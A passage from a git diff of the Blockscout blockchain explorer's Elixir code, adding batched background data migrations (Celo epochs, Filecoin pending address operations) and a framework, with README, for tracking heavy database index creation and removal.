^epoch_manager_contract_address_hash() and + ((log.first_topic == ^@epoch_processing_started_topic and + log.block_hash not in subquery(epochs_start_processing_block_hashes)) or + (log.first_topic == ^@epoch_processing_ended_topic and + log.block_hash not in subquery(epochs_end_processing_block_hashes))), + order_by: [asc: log.block_number] + ) + end + + @impl FillingMigration + def update_batch(logs) do + changes_list = + logs + |> Enum.reduce(%{}, fn log, epochs_acc -> + # Extract epoch number from the log + [epoch_number] = log.second_topic |> to_string() |> Helper.decode_data([{:uint, 256}]) + + current_epoch = Map.get(epochs_acc, epoch_number, %{number: epoch_number}) + + updated_epoch = + log.first_topic + |> to_string() + |> case do + @epoch_processing_started_topic -> + Map.put(current_epoch, :start_processing_block_hash, log.block_hash) + + @epoch_processing_ended_topic -> + Map.put(current_epoch, :end_processing_block_hash, log.block_hash) + end + + Map.put(epochs_acc, epoch_number, updated_epoch) + end) + |> Map.values() + + Epochs.insert( + Repo, + changes_list, + %{ + timeout: :infinity, + timestamps: Import.timestamps() + } + ) + end + + @impl FillingMigration + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/filecoin_pending_address_operations.ex b/apps/explorer/lib/explorer/migrator/filecoin_pending_address_operations.ex new file mode 100644 index 000000000000..47254d880590 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/filecoin_pending_address_operations.ex @@ -0,0 +1,71 @@ +defmodule Explorer.Migrator.FilecoinPendingAddressOperations do + @moduledoc """ + Creates a pending address operation for each address missing Filecoin address + information, specifically when `filecoin_id`, `filecoin_robust`, and + `filecoin_actor_type` are `nil`. + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.{Address, Filecoin.PendingAddressOperation, Import} + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "filecoin_pending_address_operations" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([address], address.hash) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from( + address in Address, + left_join: op in PendingAddressOperation, + on: address.hash == op.address_hash, + where: + is_nil(address.filecoin_id) and + is_nil(address.filecoin_robust) and + is_nil(address.filecoin_actor_type) and + is_nil(op.address_hash), + order_by: [asc: address.hash] + ) + end + + @impl FillingMigration + def update_batch(ordered_address_hashes) do + ordered_pending_operations = + Enum.map( + ordered_address_hashes, + &%{address_hash: &1} + ) + + Import.insert_changes_list( + Repo, + ordered_pending_operations, + conflict_target: :address_hash, + on_conflict: :nothing, + for: PendingAddressOperation, + returning: true, + timeout: :infinity, + timestamps: Import.timestamps() + ) + end + + @impl FillingMigration + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/filling_migration.ex b/apps/explorer/lib/explorer/migrator/filling_migration.ex new file mode 100644 index 000000000000..c2cf7ecc0584 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/filling_migration.ex @@ -0,0 +1,311 @@ +defmodule Explorer.Migrator.FillingMigration do + @moduledoc """ + Provides a behaviour and implementation for data migration tasks that fill or update + fields in existing database entities or migrates data to another storages (e.g. + multichain search DB) + + This module defines a template for creating migrations that can process entities in + batches with parallel execution. It implements a GenServer that manages the + migration lifecycle and automatically saves migration progress regularly. + + Key features: + - Batch processing with configurable batch size + - Parallel execution with configurable concurrency + - State persistence and ability to automatically resume after interruption + - Integration with Explorer.Chain.Cache.BackgroundMigrations for status tracking + + ## Migration State Management + The migration's state is persisted in the database as part of the migration status + record. This allows migrations to resume from their last checkpoint after system + restarts or interruptions. The state is updated after each successful batch + processing. + + ## Cache Integration + The module integrates with Explorer.Chain.Cache.BackgroundMigrations, which + maintains an in-memory cache of migration completion statuses. This cache is + crucial for: + - Quick status checks during application startup + - Performance-critical operations that need to verify migration completion + - Avoiding frequent database queries for migration status + + ## Configuration + Modules using this behaviour can be configured in the application config: + + ```elixir + config :explorer, MyMigrationModule, + batch_size: 500, # Number of entities per batch (default: 500) + concurrency: 16, # Number of parallel tasks (default: 4 * schedulers_online) + timeout: 0 # Delay between batches in ms (default: 0) + ``` + + The migration process will: + 1. Start and check if already completed + 2. Execute pre-migration tasks via `before_start/0` + 3. Process entities in batches using parallel tasks + 4. Checkpoint progress after each batch in the database + 5. Execute post-migration tasks via `on_finish/0` + 6. Update completion status in both database and in-memory cache + """ + + @doc """ + Returns the name of the migration. The name is used to track the migration's status in + `Explorer.Migrator.MigrationStatus`. + """ + @callback migration_name :: String.t() + + @doc """ + This callback defines a query to identify unprocessed entities. While defined as a + callback in the `FillingMigration` behaviour, it is not directly used by the + behaviour itself. Instead, it is called by `last_unprocessed_identifiers/1` in + modules implementing `FillingMigration` to build the query for retrieving + unprocessed entities. The query should not include any LIMIT clauses, as the + limiting is handled within `last_unprocessed_identifiers/1`. + """ + @callback unprocessed_data_query :: Ecto.Query.t() | nil + @callback unprocessed_data_query(map()) :: Ecto.Query.t() | nil + + @doc """ + This callback retrieves the next batch of data for migration processing. It returns + a list of entity identifiers that have not yet been processed. The number of + identifiers returned should allow each migration task (limited by `concurrency()`) + to process no more than `batch_size()` entities. + + The callback is invoked periodically based on the timeout configuration parameter + specified in the application config for the module implementing the `FillingMigration` + behaviour. If the timeout is not specified, it defaults to 0. + + ## Parameters + - `state`: The current state of the migration process. + + ## Returns + A tuple containing: + - List of unprocessed entity identifiers + - Updated state map (or unchanged state if the identifiers did not trigger a state + change) + + The updated state map is stored in the database as part of the structure that + tracks the migration process. When the server restarts, the migration will + resume from the last saved state. + """ + @callback last_unprocessed_identifiers(map()) :: {[any()], map()} + + @doc """ + This callback performs the migration for a batch of entities. After collecting + identifiers, the callback processes a batch of size `batch_size()`. A total of + `concurrency()` callbacks run in parallel as separate tasks, and the system + waits for all callbacks to complete. Since no timeout is specified for tasks + invoking this callback, implementations should complete within a reasonable + time period. + + After all callback tasks finish, the system schedules gathering of the next + batch of identifiers according to the timeout configuration parameter in the + application config for modules implementing the `FillingMigration` behaviour. + + ## Parameters + - `batch`: The list of identifiers to process. While this could theoretically + be a list of entities, using identifiers is preferred to minimize memory + usage during migration. + + ## Returns + N/A + """ + @callback update_batch([any()]) :: any() + + @doc """ + This callback updates the migration completion status in the cache. + + The callback is invoked in two scenarios: + - When the migration is already marked as completed during process initialization + - When the migration finishes processing all entities + + The implementation updates the in-memory cache that tracks migration completion + status, which is used during application startup and by performance-critical + operations to quickly determine if specific data migrations have been completed. + Some migrations may not require cache updates if their completion status does not + affect system operations. + + ## Returns + N/A + """ + @callback update_cache :: any() + + @doc """ + This callback executes custom logic after all migration batches have been processed. + + The callback runs just before the migration is marked as completed in the database. + Implementing modules can override this callback to perform any final cleanup or + post-migration tasks. The default implementation returns `:ignore`. + + ## Returns + - `:ignore` by default + """ + @callback on_finish :: any() + + @doc """ + This callback executes custom logic when the migration process initializes. + + The callback runs after the migration is marked as "started" but before the first + batch processing begins. Implementing modules can override this callback to perform + any necessary setup or pre-migration tasks. The default implementation returns + `:ignore`. + + ## Returns + - `:ignore` by default + """ + @callback before_start :: any() + + @optional_callbacks unprocessed_data_query: 0, unprocessed_data_query: 1 + + defmacro __using__(opts) do + quote do + @behaviour Explorer.Migrator.FillingMigration + + use GenServer, restart: :transient + + import Ecto.Query + + alias Explorer.Migrator.MigrationStatus + alias Explorer.Repo + + @default_batch_size 500 + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @doc """ + Checks if the current migration has been completed. + + ## Returns + - `true` if the migration is completed + - `false` otherwise + """ + @spec migration_finished? :: boolean() + def migration_finished? do + MigrationStatus.get_status(migration_name()) == "completed" + end + + @impl true + def init(_) do + {:ok, %{}, {:continue, :ok}} + end + + # Called once when the GenServer starts to initialize the migration process by checking its + # current status and taking appropriate action. + # + # If the migration is already completed, updates the in-memory cache and stops normally. + # Otherwise, marks the migration as started, executes pre-migration tasks via + # before_start/0, and schedules the first batch with no delay. The migration process + # continues with the state that was saved during the previous run - this allows + # resuming long-running migrations from where they were interrupted. + # + # ## Parameters + # - `state`: The current state of the GenServer + # + # ## Returns + # - `{:stop, :normal, state}` if migration is completed + # - `{:noreply, state}` to continue with migration, where state is restored from the + # previous run or initialized as empty map + @impl true + def handle_continue(:ok, state) do + case MigrationStatus.fetch(migration_name()) do + %{status: "completed"} -> + update_cache() + {:stop, :normal, state} + + migration_status -> + MigrationStatus.set_status(migration_name(), "started") + before_start() + schedule_batch_migration(0) + {:noreply, (migration_status && migration_status.meta) || %{}} + end + end + + # Processes a batch of unprocessed identifiers for migration. + # + # Retrieves the next batch of unprocessed identifiers and processes them in parallel. + # If no identifiers remain, executes cleanup tasks and completes the migration. + # Otherwise, processes the batch and continues migration. + # + # When identifiers are found, the function splits them into chunks and processes each + # chunk by spawning a task that calls update_batch. It waits for all tasks to complete + # with no timeout limit. After processing, it checkpoints the state to allow using it + # after restart, then schedules the next batch processing using the configured timeout + # from the application config (defaults to 0ms if not set). + # + # When no more identifiers are found, the function performs final cleanup by calling + # the optional on_finish callback, refreshes the in-memory cache via update_cache, + # and marks the migration as completed. + # + # ## Parameters + # - `state`: Current migration state containing progress information + # + # ## Returns + # - `{:stop, :normal, new_state}` when migration is complete + # - `{:noreply, new_state}` when more batches remain to be processed + @impl true + def handle_info(:migrate_batch, state) do + case last_unprocessed_identifiers(state) do + {[], new_state} -> + on_finish() + update_cache() + MigrationStatus.set_status(migration_name(), "completed") + {:stop, :normal, new_state} + + {identifiers, new_state} -> + identifiers + |> Enum.chunk_every(batch_size()) + |> Enum.map(&run_task/1) + |> Task.await_many(:infinity) + + unquote do + unless opts[:skip_meta_update?] do + quote do + MigrationStatus.update_meta(migration_name(), new_state) + end + end + end + + schedule_batch_migration() + + {:noreply, new_state} + end + end + + @spec run_task([any()]) :: any() + defp run_task(batch), do: Task.async(fn -> update_batch(batch) end) + + # Schedules the next batch migration by sending a delayed :migrate_batch message. + # + # ## Parameters + # - `timeout`: Optional delay in milliseconds before sending the message. If nil, + # uses the configured timeout from application config, defaulting to 0. + # + # ## Returns + # - Reference to the scheduled timer + defp schedule_batch_migration(timeout \\ nil) do + Process.send_after(self(), :migrate_batch, timeout || Application.get_env(:explorer, __MODULE__)[:timeout] || 0) + end + + defp batch_size do + Application.get_env(:explorer, __MODULE__)[:batch_size] || @default_batch_size + end + + defp concurrency do + default = 4 * System.schedulers_online() + + Application.get_env(:explorer, __MODULE__)[:concurrency] || default + end + + def on_finish do + :ignore + end + + def before_start do + :ignore + end + + defoverridable on_finish: 0, before_start: 0 + end + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation.ex new file mode 100644 index 000000000000..230b6d9a99ab --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation.ex @@ -0,0 +1,273 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation do + @moduledoc """ + Provides a template for making heavy DB operations such as creation/deletion of new indexes in the large tables + with tracking status of those migrations. + """ + + @doc """ + Returns the name of the migration. The name is used to track the operation's status in + `Explorer.Migrator.MigrationStatus`. + Heavy DB migration is either `heavy_indexes_create_{lower_case_index_name}` or `heavy_indexes_drop_{lower_case_index_name}` + """ + @callback migration_name :: String.t() + + @doc """ + Returns the name of the table on which the index operation will be performed. + + The name is used to track the operation's status in `Explorer.Migrator.MigrationStatus`. + + It's explicitly defined as a specific atom to ensure type safety. This helps + prevent typos or errors when creating migrations, as dialyzer will raise an + error if an invalid table name is used. + + If you need to add a new table, extend this type specification with the new table name. + """ + @callback table_name :: + :transactions + | :logs + | :internal_transactions + | :token_transfers + | :addresses + | :smart_contracts + | :arbitrum_batch_l2_blocks + | :smart_contracts_additional_sources + + @doc """ + Specifies the type of operation to be performed on the database index. + + ## Returns + - `:create` - Indicates that the operation is to add a new index. + - `:drop` - Indicates that the operation is to drop an existing index. + """ + @callback operation_type :: :create | :drop + + @doc """ + Returns the name of the index as a string. + """ + @callback index_name :: String.t() + + @doc """ + Returns a list of migration names that the current migration depends on. + """ + @callback dependent_from_migrations :: list(String.t()) + + @doc """ + Defines a callback for performing a database index operation. + + ## Returns + - `:ok` if the operation is successful. + - `:error` if the operation fails. + """ + @callback db_index_operation :: :ok | :error + + @doc """ + Checks the progress of a database index operation. + + ## Return Values + + - `:finished_or_not_started` - Indicates that the operation is either finished or has not started. + - `:in_progress` - Indicates that the operation is currently in progress. The optional string provides additional information about the progress. + - `:unknown` - Indicates that the status of the operation is unknown. + """ + @callback check_db_index_operation_progress() :: + :finished_or_not_started | :unknown | :in_progress + + @doc """ + Returns the current status of the database index operation. + + ## Returns + + - `:not_initialized` - The database index operation has not been initialized. + - `:not_completed` - The database index operation has been initialized but not completed. + - `:completed` - The database index operation has been completed. + - `:unknown` - The status of the database index operation is unknown. + """ + @callback db_index_operation_status() :: :not_initialized | :not_completed | :completed | :unknown + + @doc """ + Checks if there is any heavy migration (except current migration) currently running for the given table. + + ## Returns + + - `true` if a heavy migration is running. + - `false` otherwise. + """ + @callback running_other_heavy_migration_exists?(String.t()) :: boolean() + + @doc """ + This callback restarts initial index operation once its completion is failed, e.g. index is invalid after creation. + """ + @callback restart_db_index_operation() :: :ok | :error + + @doc """ + This callback updates the migration completion status in the cache. + + The callback is invoked in two scenarios: + - When the migration is already marked as completed during process initialization + - When the migration finishes processing all entities + + The implementation updates the in-memory cache that tracks migration completion + status, which is used during application startup and by performance-critical + operations to quickly determine if specific data migrations have been completed. + Some migrations may not require cache updates if their completion status does not + affect system operations. + + ## Returns + N/A + """ + @callback update_cache :: any() + + defmacro __using__(_opts) do + # credo:disable-for-next-line + quote do + @behaviour Explorer.Migrator.HeavyDbIndexOperation + + use GenServer, restart: :transient + + import Ecto.Query + + alias Ecto.Adapters.SQL + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + alias Explorer.Migrator.MigrationStatus + alias Explorer.Repo + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @doc """ + Checks if the migration has been completed. + + ## Returns + - `true` if the migration status is `"completed"`. + - `false` otherwise. + """ + @spec migration_finished? :: boolean() + def migration_finished? do + MigrationStatus.get_status(migration_name()) == "completed" + end + + @impl true + def init(_) do + {:ok, %{}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, state) do + Process.send(self(), :initiate_index_operation, []) + {:noreply, state} + end + + @impl true + def handle_info(:initiate_index_operation, state) do + case MigrationStatus.fetch(migration_name()) do + %{status: "completed"} -> + update_cache() + {:stop, :normal, state} + + migration_status -> + Process.send(self(), :check_db_index_operation_progress, []) + {:noreply, state} + end + end + + @impl true + def handle_info(:check_db_index_operation_progress, state) do + with {:index_operation_progress, status} when status in [:finished_or_not_started, :finished] <- + {:index_operation_progress, check_db_index_operation_progress()}, + {:db_index_operation_status, :not_initialized} <- + {:db_index_operation_status, db_index_operation_status()} do + if db_operation_is_ready_to_start?() do + MigrationStatus.set_status(migration_name(), "started") + db_index_operation() + schedule_next_db_operation_status_check() + else + schedule_next_db_operation_readiness_check() + end + + {:noreply, state} + else + {:index_operation_progress, _status} -> + schedule_next_db_operation_status_check() + {:noreply, state} + + {:db_index_operation_status, :not_completed} -> + Process.send(self(), :restart_db_index_operation, []) + {:noreply, state} + + {:db_index_operation_status, :unknown} -> + schedule_next_db_operation_status_check() + {:noreply, state} + + {:db_index_operation_status, :completed} -> + MigrationStatus.set_status(migration_name(), "completed") + update_cache() + {:stop, :normal, state} + end + end + + @impl true + def handle_info(:restart_db_index_operation, state) do + case restart_db_index_operation() do + :ok -> + Process.send(self(), :initiate_index_operation, []) + + :error -> + schedule_next_db_index_operation_completion_check() + end + + {:noreply, state} + end + + defp db_operation_is_ready_to_start? do + if running_other_heavy_migration_exists?(migration_name()) do + false + else + if Enum.empty?(dependent_from_migrations()) do + true + else + all_statuses = + MigrationStatus.fetch_migration_statuses(dependent_from_migrations()) + + all_statuses_completed? = not Enum.empty?(all_statuses) && all_statuses |> Enum.all?(&(&1 == "completed")) + + all_statuses_completed? && Enum.count(all_statuses) == Enum.count(dependent_from_migrations()) + end + end + end + + defp schedule_next_db_operation_status_check(timeout \\ nil) do + Process.send_after( + self(), + :check_db_index_operation_progress, + timeout || HeavyDbIndexOperationHelper.get_check_interval() + ) + end + + defp schedule_next_db_operation_readiness_check(timeout \\ nil) do + Process.send_after( + self(), + :check_db_index_operation_progress, + timeout || HeavyDbIndexOperationHelper.get_check_interval() + ) + end + + defp schedule_next_db_index_operation_completion_check(timeout \\ nil) do + Process.send_after( + self(), + :restart_db_index_operation, + timeout || :timer.seconds(10) + ) + end + + def migration_name do + index_name_lower_case = String.downcase(index_name()) + + db_operation_prefix = + "#{HeavyDbIndexOperationHelper.heavy_db_operation_migration_name_prefix()}#{to_string(operation_type())}" + + "#{db_operation_prefix}_#{index_name_lower_case}" + end + end + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/README.md b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/README.md new file mode 100644 index 000000000000..e757d3bb3bc8 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/README.md @@ -0,0 +1,245 @@ +# Heavy Database Index Operations + +This document describes the framework for managing heavy database index operations in Blockscout, particularly focusing on creating and dropping indexes on large tables. + +## Overview + +The modules under `Explorer.Migrator.HeavyDbIndexOperation` provide a standardized way to perform and track resource-intensive database index operations. These operations are particularly important for large tables like `logs`, `internal_transactions`, `token_transfers`, and `addresses` but are not limited to them. + +## Operation Types + +The framework supports two types of operations (`@operation_type`): + +- `:create` - Creates a new index on a table +- `:drop` - Removes an existing index from a table + +## Index Creation Methods + +There are two approaches to define index creation: + +### 1. Using `@query_string` + +```elixir +@query_string """ +CREATE INDEX #{HeavyDbIndexOperationHelper.add_concurrently_flag?()} IF NOT EXISTS #{@index_name} +ON #{@table_name} (confirmation_id, block_number DESC) +WHERE confirmation_id IS NULL; +""" +``` + +This approach is preferred when: +- You need a partial index (with WHERE clause) +- You need to specify column order or sort direction (ASC/DESC) +- You need to combine multiple columns in a specific way +- You need fine-grained control over the index creation SQL +- You want to add custom index options or conditions + +### 2. Using `@table_columns` + +```elixir +@table_columns [:column1, :column2] +``` + +This approach is simpler and more suitable when: +- You're creating a straightforward index on one or more columns +- No special conditions or expressions are needed +- The index is not partial +- Default column ordering is acceptable + +## Cache Management + +The `update_cache/0` callback is used to maintain the in-memory cache of migration completion status. + +### Empty Implementation + +The `update_cache/0` callback can be empty when: +- The index operation doesn't affect runtime performance-critical operations +- Other parts of the system don't need to quickly check if this migration is complete +- The index is purely for maintenance or optimization purposes + +### Non-Empty Implementation + +You should implement `update_cache/0` when: +- The index is used in performance-critical queries +- Other system components need to quickly verify if the index exists +- The migration status affects the behavior of other operations + +Example: +```elixir +def update_cache do + BackgroundMigrations.set_heavy_indexes_create_logs_block_hash_index_finished(true) +end +``` + +## Creating a New Heavy Index Operation Module + +1. Create a new module in `apps/explorer/lib/explorer/migrator/heavy_db_index_operation/`: + ```elixir + defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateYourNewIndex do + use Explorer.Migrator.HeavyDbIndexOperation + + @table_name :your_table + @index_name "your_index_name" + @operation_type :create + + # Choose one approach: + @table_columns [:column1, :column2] + # or + @query_string """ + CREATE INDEX ... + """ + + # The rest of the module is implementation of callbacks described below + end + ``` + +2. Required Callbacks: + + All callbacks must be implemented in your module, but many of them can delegate to helper functions: + + Basic callbacks (usually just return module attributes): + - `table_name/0` - Returns the table name (usually returns `@table_name`) + - `operation_type/0` - Returns `:create` or `:drop` (usually returns `@operation_type`) + - `index_name/0` - Returns the index name (usually returns `@index_name`) + + Operation-specific callbacks: + - `dependent_from_migrations/0` - Returns list of migration names that must complete before this one + - `update_cache/0` - Updates the in-memory cache when migration completes + + Helper-delegating callbacks: + - `db_index_operation/0` - Executes the index creation/deletion. In most cases, enough to use `HeavyDbIndexOperationHelper.create_db_index/1` or `HeavyDbIndexOperationHelper.safely_drop_db_index/1` + - `check_db_index_operation_progress/0` - Checks if operation is in progress. In most cases, enough to use `HeavyDbIndexOperationHelper.check_db_index_operation_progress/2`. In order to build the query string, you can use `HeavyDbIndexOperationHelper.create_index_query_string/3` or `HeavyDbIndexOperationHelper.drop_index_query_string/1`. + - `db_index_operation_status/0` - Gets current operation status. In most cases, enough to use `HeavyDbIndexOperationHelper.db_index_creation_status/1` or `HeavyDbIndexOperationHelper.db_index_dropping_status/1` + - `restart_db_index_operation/0` - Handles operation restart. In most cases, enough to use `HeavyDbIndexOperationHelper.safely_drop_db_index/1` + - `running_other_heavy_migration_exists?/1` - Checks for conflicting migrations. In most cases, enough to use `MigrationStatus.running_other_heavy_migration_for_table_exists?/2` + +## Configuration Updates + +### 1. Application.ex + +Add your module to the `configurable_children` list in `apps/explorer/lib/explorer/application.ex`: + +```elixir +configure_mode_dependent_process( + Explorer.Migrator.HeavyDbIndexOperation.YourNewIndex, + :indexer +) +``` + +### 2. Config Files + +The configuration approach depends on whether the index operation should run on all instances or only for specific chain types: + +#### Universal Index Operations (config.exs) + +If the index operation should run on all Blockscout instances regardless of chain type, add it to the list of index operations in `apps/explorer/config/config.exs`: + +```elixir +for index_operation <- [ + # Heavy DB index operations + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateLogsBlockHashIndex, + # ... other index operations ... + Explorer.Migrator.HeavyDbIndexOperation.YourNewIndex # Add your module here + ] do + config :explorer, index_operation, enabled: true +end +``` + +This is appropriate for indexes that are fundamental to Blockscout's operation, such as those on `logs`, `internal_transactions`, or `token_transfers` tables. + +#### Chain-Specific Index Operations (runtime.exs) + +If the index operation is specific to certain chain types (e.g., only for Arbitrum or only for Optimism), configure it in `config/runtime.exs`: + +```elixir +# Example for an Arbitrum-specific index +config :explorer, Explorer.Migrator.HeavyDbIndexOperation.YourNewIndex, + enabled: ConfigHelper.chain_type() == :some_chain_type +``` + +This approach allows you to: +- Enable indexes only for specific chain types +- Use runtime environment variables for configuration of index operation + +## Setting Up Cache Tracking + +1. Add a new key to the MapCache in `apps/explorer/lib/explorer/chain/cache/background_migrations.ex`: +```elixir +use Explorer.Chain.MapCache, + # ... existing keys ... + key: :heavy_indexes_your_new_index_finished +``` + +2. Add a fallback handler: +```elixir +defp handle_fallback(:heavy_indexes_your_new_index_finished) do + start_migration_status_task( + YourNewIndex, + &set_heavy_indexes_your_new_index_finished/1 + ) +end +``` + +3. The cache value can then be accessed: +```elixir +# Check status +BackgroundMigrations.heavy_indexes_your_new_index_finished?() +``` + +## Operation Flow and Status Updates + +The heavy index operation follows a specific state flow managed by a GenServer: + +1. Initial Flow: + ``` + :continue -> :initiate_index_operation -> :check_if_db_operation_need_to_be_started -> :check_db_index_operation_progress + ``` + +2. Operation Execution: + - When conditions are met (no conflicting operations, all dependencies completed), `db_index_operation/0` is called + - The next status check is scheduled using `check_interval` configuration (defaults to 10 minutes) + +3. Status Updates: + **Important Note:** Due to the default 10-minute check interval, there might be a delay between when an index operation actually completes and when its status is updated in the cache. For example, if an index creation takes only 1-2 seconds (common in new instances with empty databases), the cache will still not be updated for up to 10 minutes. + + Consider this when: + - Implementing features that depend on index availability + - Setting up development/testing environments + - Configuring the check interval for your deployment needs + + You can adjust the check interval by setting the `MIGRATION_HEAVY_INDEX_OPERATIONS_CHECK_INTERVAL` environment variable. + +## Best Practices + +1. Consider dependencies between migrations carefully - ensure proper ordering of index operations when one depends on another. + +2. Consider impact on Blockscout functionality: + - Identify features that depend on the index being created + - Implement appropriate handling for when the index is not yet available: + ```elixir + # Example of handling index-dependent functionality + def fetch_data(params) do + if BackgroundMigrations.heavy_indexes_your_new_index_finished?() do + # Use optimized query that relies on the index + fetch_with_index(params) + else + # Fallback behavior: + # - Return limited/partial results + # - Show "functionality temporarily unavailable" message + # - Use alternative query path that doesn't require the index + # - Return error with appropriate message + handle_index_not_ready(params) + end + end + ``` + - Consider adding index status checks to prevent: + - Query timeouts + - Excessive DB load from unindexed queries + - Poor user experience + - Document which features might be affected during index creation/deletion + +3. Document index dependencies: + - Which queries rely on this index + - What performance impact to expect if the index is missing + - Which features might need modification to handle index absence \ No newline at end of file diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_transactions_count_asc_coin_balance_desc_hash_partial.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_transactions_count_asc_coin_balance_desc_hash_partial.ex new file mode 100644 index 000000000000..bf08aa2cda9e --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_transactions_count_asc_coin_balance_desc_hash_partial.ex @@ -0,0 +1,78 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesTransactionsCountAscCoinBalanceDescHashPartialIndex do + @moduledoc """ + Create partial B-tree index on `addresses` table filtering by `fetched_coin_balance > 0` + and sorted by transactions_count ASC NULLS FIRST, fetched_coin_balance DESC, hash ASC. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + + alias Explorer.Migrator.HeavyDbIndexOperation.{ + CreateAddressesTransactionsCountDescPartialIndex, + CreateAddressesVerifiedFetchedCoinBalanceDescHashIndex + } + + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :addresses + @index_name "addresses_transactions_count_asc_coin_balance_desc_hash_partial" + @operation_type :create + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + CreateAddressesVerifiedFetchedCoinBalanceDescHashIndex.migration_name(), + CreateAddressesTransactionsCountDescPartialIndex.migration_name() + ] + + @query_string """ + CREATE INDEX #{HeavyDbIndexOperationHelper.add_concurrently_flag?()} IF NOT EXISTS "#{@index_name}" + ON #{@table_name}(transactions_count ASC NULLS FIRST, fetched_coin_balance DESC, hash ASC) + WHERE fetched_coin_balance > 0; + """ + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@query_string) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, @query_string) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_addresses_transactions_count_asc_coin_balance_desc_hash_partial_index_finished( + true + ) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_transactions_count_desc_partial_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_transactions_count_desc_partial_index.ex new file mode 100644 index 000000000000..75e3cb1a5724 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_transactions_count_desc_partial_index.ex @@ -0,0 +1,70 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesTransactionsCountDescPartialIndex do + @moduledoc """ + Create partial B-tree index on `addresses` table filtering by `fetched_coin_balance > 0` + and sorted by transactions_count DESC. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedFetchedCoinBalanceDescHashIndex + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :addresses + @index_name "addresses_transactions_count_desc_partial" + @operation_type :create + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + CreateAddressesVerifiedFetchedCoinBalanceDescHashIndex.migration_name() + ] + + @query_string """ + CREATE INDEX #{HeavyDbIndexOperationHelper.add_concurrently_flag?()} IF NOT EXISTS "#{@index_name}" + ON #{@table_name}(transactions_count DESC NULLS LAST) + WHERE fetched_coin_balance > 0; + """ + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@query_string) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, @query_string) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_addresses_transactions_count_desc_partial_index_finished(true) + end +end diff --git 